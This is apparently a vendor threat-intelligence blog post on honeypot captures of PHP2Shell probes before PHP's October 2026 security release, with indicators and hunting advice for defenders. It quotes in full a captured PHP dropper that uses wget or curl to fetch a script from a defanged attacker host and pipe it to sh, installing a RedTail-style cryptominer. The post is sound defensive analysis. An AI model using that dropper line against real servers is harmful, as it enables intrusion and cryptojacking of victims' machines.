Blog · Threat intel · 2026-10-23 · 11 min

PHP2Shell probes reached decoys hours before the security release

Huntback telemetry puts PHP2Shell on the clock: probes hours before the patch, then working payloads that install a RedTail-style cryptominer about 30 hours after it.

Two requests reached Huntback decoys at 08:41 and 08:44 UTC on 21 October 2026, more than five hours before the scheduled PHP security release. Both identified themselves as php2shell-scan/109618. They were multipart POSTs to /index.php, carried a PHP_SESSION_UPLOAD_PROGRESS field, and were roughly 63 KB long. The source was 85.11.167.243.

This is live captured data, not a static writeup.

Every request below was captured by huntback decoys. Open the source and see what else it has been doing.

Open this host (85.11.167.243) →Browse live findsStart free

This is evidence of pre-release probing, not evidence of remote code execution. The requests landed on decoys, and the captured records show no second-stage interaction. We cannot infer that the source exploited a real PHP installation, or that its payload would have worked against one.

The source address already appears in public PHP2Shell reporting as a scanner. What Huntback's decoys add is when that scanning started: before the fix was released. They also caught what came next. By the evening of 22 October, a different source was sending PHP2Shell requests that carried a working PHP payload: a one-line dropper that fetches and runs a RedTail-style cryptomining installer. Neither that source nor its dropper host appears in the public PHP2Shell reporting we reviewed.

Why the timing matters

On 20 October, the PHP security team announced that fixes for two critical vulnerabilities were scheduled for 21 October at 14:00 UTC. The team warned that the release could be brought forward if technical details leaked or exploitation appeared. The vulnerabilities became known as PHP2Shell, tracked as CVE-2026-109618 and CVE-2026-109619. PHP subsequently published fixes in versions 8.2.35, 8.3.36, 8.4.27 and 8.5.12. PHP's advance notice and release announcement document that sequence.

The first Huntback request arrived 5 hours, 18 minutes and 51 seconds before the scheduled release time. It does not establish when PHP first became exploitable or when scanning began across the wider internet. It establishes a narrower, verifiable fact: this source was sending PHP2Shell-labelled, structurally relevant requests to two Huntback decoys while the coordinated release was still pending.

20 OctPHP announces a criticalrelease for 21 Oct 14:0021 Oct 08:41probe 1: open-proxy decoyphp2shell-scan/10961808:44probe 2: GitLab decoysame source21 Oct 14:00scheduled PHPsecurity release22 Oct 12:51-14:2515 more POSTsphp2shell-1096185 h 18 min 51 s early
Two probes from the same source, hours ahead of the scheduled release, then fifteen more the following day. Green markers are Huntback captures; the amber marker is PHP's scheduled release time.
Time (UTC)Observation
20 OctPHP published advance notice of a critical release scheduled for 21 Oct at 14:00.
21 Oct 08:41:09Huntback captured a PHP2Shell-labelled multipart POST to /index.php on an open-proxy decoy.
21 Oct 08:44:37A second POST from the same source reached a GitLab decoy.
21 Oct 14:00Scheduled PHP security-release time.
21 Oct 20:48 to 20:51A second source, 217.60.242.76, sent three minimal 388-byte upload-progress checks.
22 Oct 12:51 to 14:25Huntback captured 15 more POSTs from 85.11.167.243 using php2shell-109618.
22 Oct 20:30 to 23 Oct 07:10A third source, 77.90.185.20, sent 67 POSTs carrying a PHP dropper for a RedTail-style installer.

The release row is the scheduled time from PHP's notice, not a claim that every fixed package became available at precisely 14:00. PHP's release announcements were posted around that window.

The two pre-release requests

Both 21 October requests came from 85.11.167.243 and used HTTP POST with multipart/form-data. Their user-agent was php2shell-scan/109618, the path was /index.php, and each body contained a PHP_SESSION_UPLOAD_PROGRESS field followed by a file part and a large filler section. The request bodies were 62,935 bytes each. They had different body hashes, so we do not describe them as byte-for-byte identical.

HEADERSPOST /index.php HTTP/1.1User-Agent: php2shell-scan/109618spoofable labelContent-Type: multipart/form-data; boundary=...Cookie: PHPSESSID=...session cookieMULTIPART BODY (62,935 bytes on 21 Oct)PHP_SESSION_UPLOAD_PROGRESS fieldthe field these probes are built aroundfile parttriggers upload handlinglarge filler sectionmost of the ~63 KB
The shape of the captured probes, not to scale. The user-agent is a label anyone can set; the upload-progress field inside a large multipart body is the stronger signal.
Huntback event IDTime (UTC)Decoy typePathBody lengthDecoy response
5ecdfb229e9849d79ea8c5daf9c9e9c321 Oct 08:41:09Open proxy/index.php62,935 B200
0ca2a1bb2cb44caf8e1b1e25ed4600d821 Oct 08:44:37GitLab/index.php62,935 B301

The body structure matters more than the user-agent alone. Anyone can set a user-agent string. A multipart request carrying PHP_SESSION_UPLOAD_PROGRESS, a PHP session cookie and a large file part is a much stronger indication that the sender was testing a PHP2Shell-related upload-progress path. It still does not prove that the request reached a vulnerable PHP interpreter on any real target, triggered the underlying memory fault, or achieved code execution.

The 200 and 301 values above are decoy responses. They are not exploit-success signals. Neither record shows a captured second stage. The decoys' product labels describe how they present to scanners; they do not mean that a GitLab or proxy product was vulnerable to PHP2Shell.

The same source kept probing after the release

Huntback recorded 15 additional POSTs from 85.11.167.243 between 12:51:20 and 14:25:33 UTC on 22 October with user-agent php2shell-109618. Seven targeted /index.php; eight targeted /lib/phpunit/phpunit/Util/PHP/eval-stdin.php. Each body was 62,929 bytes, contained PHP_SESSION_UPLOAD_PROGRESS, and had the same SHA-256 hash:

dba19c819123ccdad214dde73dc66f848f2cdebdc653e6e5876624b86ddc3074
15 POSTs on 22 Oct, one reused body (sha256 dba19c81...3074)PATH7/index.php8/lib/phpunit/phpunit/Util/PHP/eval-stdin.phpDECOY RESPONSE (not exploit success)13301 redirect2200 OKSecond stage captured: 0 of 15
The 22 October follow-up: one reused body sent to two paths. The responses are what the decoys answered, not signs of success, and no second stage was captured.

The repeated hash supports reuse of one request body across the 15 captured events. The paths and decoy types varied. Thirteen responses were 301 and two were 200; none of these records had a captured second stage. Across both days, this one source sent 40 upload-progress POSTs to 10 different decoys: 23 to /wp-login.php, 9 to /index.php and 8 to the PHPUnit path.

The PHPUnit path is worth interpreting carefully. It is commonly associated with a separate, older vulnerability, but a path name does not determine which exploit a body is attempting. In these records, the PHP2Shell-labelled user-agent and upload-progress field point to the PHP2Shell campaign's request pattern. We did not observe successful use of either PHP2Shell or the older PHPUnit flaw.

Three sources, three behaviours

Searching every captured request for the PHP_SESSION_UPLOAD_PROGRESS field, rather than for a user-agent, finds 110 multipart POSTs from three sources. Each one behaves differently.

21 Oct22 Oct23 Octpatch 21 Oct 14:0085.11.167.243php2shell-* UAs, 4 variantsprobes40217.60.242.76UA: Mozilla/5.0minimal check377.90.185.20UA: desktop ChromePHP payload + dropper67Each dot is one multipart POST carrying PHP_SESSION_UPLOAD_PROGRESS (110 in all). Times UTC.
Every upload-progress POST Huntback captured, at its real arrival time. One source probed before the patch, one ran a minimal check that evening, and one arrived the following night with a weaponized payload.
SourceWhen (UTC)POSTsDecoysUser-agentWhat it sent
85.11.167.24321 Oct 08:41 to 22 Oct 14:254010php2shell variants, sometimes noneLarge upload-progress probes, no command
217.60.242.7621 Oct 20:48 to 20:5133Mozilla/5.0388-byte check: a random token and an empty file
77.90.185.2022 Oct 20:30 to 23 Oct 07:10679desktop ChromePHP dropper for a RedTail-style installer

A minimal check: 217.60.242.76

Six and a half hours after the release, 217.60.242.76 sent three 388-byte multipart POSTs to / on three decoys. Each carried an upload-progress field set to a random token and an empty file part named x.txt. This is the shape of a vulnerability check: send a unique marker, then look for it in the response. It carried nothing that would run.

Probes became payloads: 77.90.185.20

At 20:30 UTC on 22 October, about 30 hours after the release, 77.90.185.20 began sending POSTs to /index.php. Over the next ten and a half hours it reached nine decoys with 67 requests. Every one placed the same PHP code inside the upload-progress field, followed by filler that varied in size (around 19 to 22 KB):

<?php echo '__START__'; system('(wget --no-check-certificate -qO- hxxps://217.60.102[.]5/sh
  || curl -sk hxxps://217.60.102[.]5/sh) | sh -s php2shell'); echo '__END__';?>

If a vulnerable server executed that code, it would download a shell script from 217.60.102.5 and run it with the argument php2shell, a label that tells the operator which exploit delivered the infection. The __START__ and __END__ markers let the sender confirm execution from the response. Our decoys do not execute PHP, so nothing ran.

What the dropper installs

Huntback's scanner fleet had already harvested that script from 217.60.102.5. It is a cryptomining installer that matches the publicly documented RedTail family:

  • it downloads and runs a clean script, then deletes any previous .redtail file;
  • it looks for a writable directory that allows execution, testing /tmp, /var/tmp and /dev/shm last;
  • it fetches a binary for the host's architecture (x86_64, i686, aarch64, arm7 or riscv), saves it under a random hidden name, and runs it with the exploit label; and
  • if all else fails when naming the file, it falls back to the literal name redtail.

The script on that host has the same SHA-256 as the copy Huntback first harvested on 3 October, nearly three weeks before the PHP release. PHP2Shell did not create this operation. It was added to an existing RedTail distribution point as one more way in. We did not retrieve the architecture-specific binaries, so we describe the miner by its installer rather than by its payload.

User-agents rotate; request bodies do not

The three sources show why a user-agent is a poor anchor for this hunt.

  • 85.11.167.243 cycled through four identities: php2shell-scan/109618 on 21 October, then no user-agent at all, then php2shell, then php2shell-109618, all within one afternoon on 22 October.
  • 217.60.242.76 sent a bare Mozilla/5.0.
  • 77.90.185.20, the only source carrying a working payload, presented a current desktop Chrome user-agent on 60 requests and none on the other seven.

A hunt keyed on php2shell in the user-agent would have found the noisiest source and missed the dangerous one entirely. The request body is what stayed constant: all 110 requests carried the PHP_SESSION_UPLOAD_PROGRESS field in a multipart POST. Huntback keeps the full request body for every decoy hit, which is what made that search possible.

What the harvested files add

Huntback's searches of harvested open-directory files found PHP2Shell-labelled files on hosts already publicly associated with the campaign, including 41.223.30.7, 54.169.109.7 and 58.221.60.160. We did not identify a defensible new PHP2Shell staging host from those searches.

Huntback did return other files containing terms such as upload_progress, but keyword overlap was insufficient to assign them to this campaign. One was associated with a different exploit; another was a configuration fragment without corroborating PHP2Shell context. We excluded both. That distinction matters: a broad search term can produce a larger result set without producing a new finding.

Our contribution is therefore twofold. It is temporal: direct request-level evidence of pre-release probing from an already reported IP. And it is new: two further sources, one of them delivering a RedTail-style installer from a dropper host that had been staged since at least 3 October.

What the evidence shows

The evidence supports these conclusions:

  1. 85.11.167.243 sent two PHP2Shell-labelled multipart requests to Huntback decoys before the scheduled patch release.
  2. The same source sent at least 15 more matching requests to Huntback decoys on 22 October, and 40 across both days.
  3. By 22 October 20:30 UTC, about 30 hours after the release, 77.90.185.20 was sending PHP2Shell requests carrying a working dropper for a RedTail-style cryptomining installer hosted on 217.60.102.5.
LeadUA php2shell-*, source IPspoofable, cheap to sendAttemptmultipart POST + PHP_SESSION_UPLOAD_PROGRESSwhat we captured: probes and payloadsImpact signalPHP errors, worker crashes or exitsneeds server-side telemetryCompromisenew processes, files, outbound connectionsoutcome provenescalate only with evidence
Where these captures sit: attempt evidence. Moving up the ladder takes server-side telemetry that a decoy cannot provide.

The official PHP advisories describe serious remote-code-execution vulnerabilities and stress that updating is the complete mitigation. The absence of a confirmed compromise in this decoy dataset does not reduce the need to patch. It only keeps our observation in the correct category: weaponized attempts seen, outcomes on real servers unproven.

What defenders can do with this finding

  • Look back before the patch window. Start at least on 20 October, and include the morning of 21 October. A hunt beginning after the release would miss our first two events.
  • Hunt on the request body, not the user-agent. Look for multipart POSTs with a PHP_SESSION_UPLOAD_PROGRESS field, especially one containing <?php, system(, wget or curl. The source that carried a working payload looked like an ordinary Chrome browser.
  • Hunt for the RedTail installer. Look for outbound requests to 217.60.102.5, the command line sh -s php2shell, a downloaded clean script, a file named .redtail, and new hidden executables in /tmp, /var/tmp or /dev/shm run by the web-server user.
  • Separate targeting from compromise. A request to /index.php, /wp-login.php or a PHPUnit path shows what the sender tried. Verify PHP errors, worker exits, process creation, unexpected files and outbound traffic before escalating the finding to successful exploitation.
  • Update PHP or obtain a vendor-confirmed backport. The fixed upstream versions are 8.2.35, 8.3.36, 8.4.27 and 8.5.12. PHP's CVE-2026-109618 advisory says a patched release is the only complete mitigation for that issue; temporary controls reduce exposure but do not replace the fix.

Indicators and search leads

IndicatorContextConfidence
85.11.167.243Source of the captured 21 and 22 October requests; also in public PHP2Shell reportingHigh for observed source; low for actor attribution
77.90.185.20Sent 67 PHP2Shell POSTs with a PHP dropper, 22 to 23 October; desktop Chrome user-agentHigh for observed source; low for actor attribution
217.60.242.76Sent three minimal upload-progress checks on 21 OctoberHigh for observed source; low for actor attribution
217.60.102.5Dropper host serving the RedTail-style installer at /sh (defanged: hxxps://217.60.102[.]5/sh)High
917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735cSHA-256 of the /sh installer (unchanged since 3 October)High for this file
sh -s php2shell, .redtailCommand line and file name left by the installer on a host that ran itHigh for this installer
php2shell-scan/109618User-agent on the two pre-release requestsHigh for those events; spoofable as a general indicator
php2shell-109618User-agent on 15 later POSTsHigh for those events; spoofable as a general indicator
PHP_SESSION_UPLOAD_PROGRESS in a large multipart POSTRequest-body marker present in the captured probesHigh for observed pattern; not proof of compromise
/index.php, /wp-login.php, /lib/phpunit/phpunit/Util/PHP/eval-stdin.phpPaths used by this source in Huntback telemetryContext only; common or reusable paths

Do not block a broad range or infer an actor from the one IP in this table without checking current ownership and your own telemetry. The value of this case is the request pattern and timing.

Method and sources

We queried Huntback's captured-event records by PHP2Shell-related user-agents and by source IP, then inspected the recorded HTTP method, path, user-agent, content type, body marker, length, timestamp, response and second-stage flag. We separately searched harvested-file metadata for PHP2Shell terms and compared returned hosts with publicly reported PHP2Shell infrastructure. Event timestamps are UTC. Counts in this post are counts of the specific query results and reviewed records, not estimates of internet-wide volume.

The two pre-release events can be rechecked in Huntback by event ID 5ecdfb229e9849d79ea8c5daf9c9e9c3 and 0ca2a1bb2cb44caf8e1b1e25ed4600d8. Their body SHA-256 values are bcd9d574e9dc352275f1934e0f109a03ea0630c57f78c5b3a0399be038319dd6 and c8f953685c951f20a3f7f5e4506a46cb926c267fee4ae5b4e87d7ebf3dbdcfaa, respectively. These hashes are audit references; they should not be treated as comprehensive network detection signatures.

Sources